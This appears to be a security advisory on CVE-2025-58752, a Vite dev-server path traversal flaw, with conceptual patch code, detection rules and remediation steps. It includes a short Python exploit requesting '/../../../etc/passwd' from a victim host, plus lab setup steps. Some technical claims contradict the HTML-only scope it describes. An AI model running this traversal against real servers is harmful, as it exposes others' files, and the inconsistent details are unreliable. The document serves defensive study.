CVE-2025-58752

Executive Summary

CVE-2025-58752 is a path traversal vulnerability in Vite, a popular frontend tooling framework. The flaw allows an attacker to read arbitrary HTML files from the server's filesystem, bypassing the intended server.fs restrictions. This vulnerability affects Vite's development server when exposed to the network (via --host or server.host config) and using appType: 'spa' (default) or appType: 'mpa'. The preview server is also vulnerable, serving HTML files outside the output directory. The vulnerability has a CVSS score of 5.3 (Medium) and is considered low complexity with no authentication required.

Supply Chain & Package Security

Vite is an npm package. This vulnerability impacts the entire supply chain of projects using Vite for development or preview. Developers using exposed dev servers in CI/CD pipelines or internal networks are at risk. The package is widely used in the JavaScript ecosystem, making this a significant supply chain concern. Organizations should audit their use of Vite and ensure they are not exposing the dev server to untrusted networks.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (HTML files can be read)
• Integrity Impact: None
• Availability Impact: None

The threat level is Medium due to the low complexity and network-based attack vector, but the impact is limited to reading HTML files, which may contain sensitive information like API keys, internal URLs, or configuration details.

Deep Dive & Mechanics

The vulnerability lies in how Vite handles file serving for HTML files. The server.fs configuration is designed to restrict file access to the project root. However, due to a flaw in the path resolution logic, any HTML file on the filesystem could be served if the attacker crafts a request with path traversal sequences (e.g., ../../../etc/passwd). The dev server and preview server both fail to properly validate that the requested file is within the allowed directory.

The root cause is an insufficient check in the file serving middleware. When a request for an HTML file is made, Vite resolves the path but does not enforce the server.fs allow/deny rules for HTML files. This allows an attacker to read arbitrary HTML files, including system files like /etc/passwd (if it is HTML) or application configuration files.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable middleware snippet
app.use(async (req, res, next) => {
  const filePath = path.resolve(root, req.url);
  // Missing check for server.fs allow/deny for HTML files
  if (fs.existsSync(filePath) && filePath.endsWith('.html')) {
    res.sendFile(filePath);
  } else {
    next();
  }
});

Patched Code (Conceptual):

// Patched middleware snippet
app.use(async (req, res, next) => {
  const filePath = path.resolve(root, req.url);
  // Enforce server.fs allow/deny for all files
  if (isPathAllowed(filePath, server.fs)) {
    if (fs.existsSync(filePath) && filePath.endsWith('.html')) {
      res.sendFile(filePath);
    } else {
      next();
    }
  } else {
    res.status(403).send('Forbidden');
  }
});

The patch adds a call to isPathAllowed() which checks the resolved path against the server.fs allow and deny lists before serving the file.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://victim:5173"
# Path traversal to read /etc/passwd (if it were HTML, but we can try)
# More realistically, read application HTML files
payload = "/../../../etc/passwd"
url = target + payload
response = requests.get(url)
print(response.text)

Usage: Run the script against a vulnerable Vite dev server. The server must be exposed to the network. The attacker can read any HTML file on the system by traversing directories.

Lab Setup:

1. Install a vulnerable version of Vite: npm install vite@5.4.19
2. Create a simple Vite project: npm create vite@latest
3. Start the dev server with host exposure: npx vite --host
4. Run the exploit script.

Blue Team

Detection:

• Monitor for requests containing ../ or %2e%2e/ in the URL path.
• Alert on requests to Vite dev server ports (default 5173) from external IPs.
• Check server logs for 200 responses to path traversal patterns.

Honeypot:

• Deploy a fake Vite dev server that logs all requests.
• Serve a fake HTML file with a tracking pixel to identify attackers.

Indicators of Compromise (IOCs)

• Network: HTTP requests to Vite dev server (port 5173) with path traversal sequences.
• File System: Unexpected access to /etc/passwd, /etc/shadow, or application config files.
• Logs: Vite server logs showing requests to paths like /../../../etc/passwd.
• Process: Vite dev server process running with --host flag.

Detection Engineering

YARA Rule

rule CVE_2025_58752_Vite_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Vite dev server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58752"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $vite_header = "Vite" nocase
    condition:
        $path_traversal and $vite_header
}

Sigma Rule

title: CVE-2025-58752 Vite Dev Server Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts against Vite dev server
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in application code
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58752 Vite Dev Server Path Traversal"; flow:to_server,established; content:"../"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update Vite to versions 5.4.20, 6.3.6, 7.0.7, or 7.1.5.
2. Network: Do not expose Vite dev server to untrusted networks. Use a reverse proxy or firewall to restrict access.
3. Configuration: Set server.host to localhost or 127.0.0.1 in production.
4. Monitoring: Implement detection rules as above to identify exploitation attempts.
5. Workaround: If unable to patch, disable the dev server's network exposure and use a VPN or SSH tunnel for remote development.

Valters IT
DevSecOps & Cyber Threat Intelligence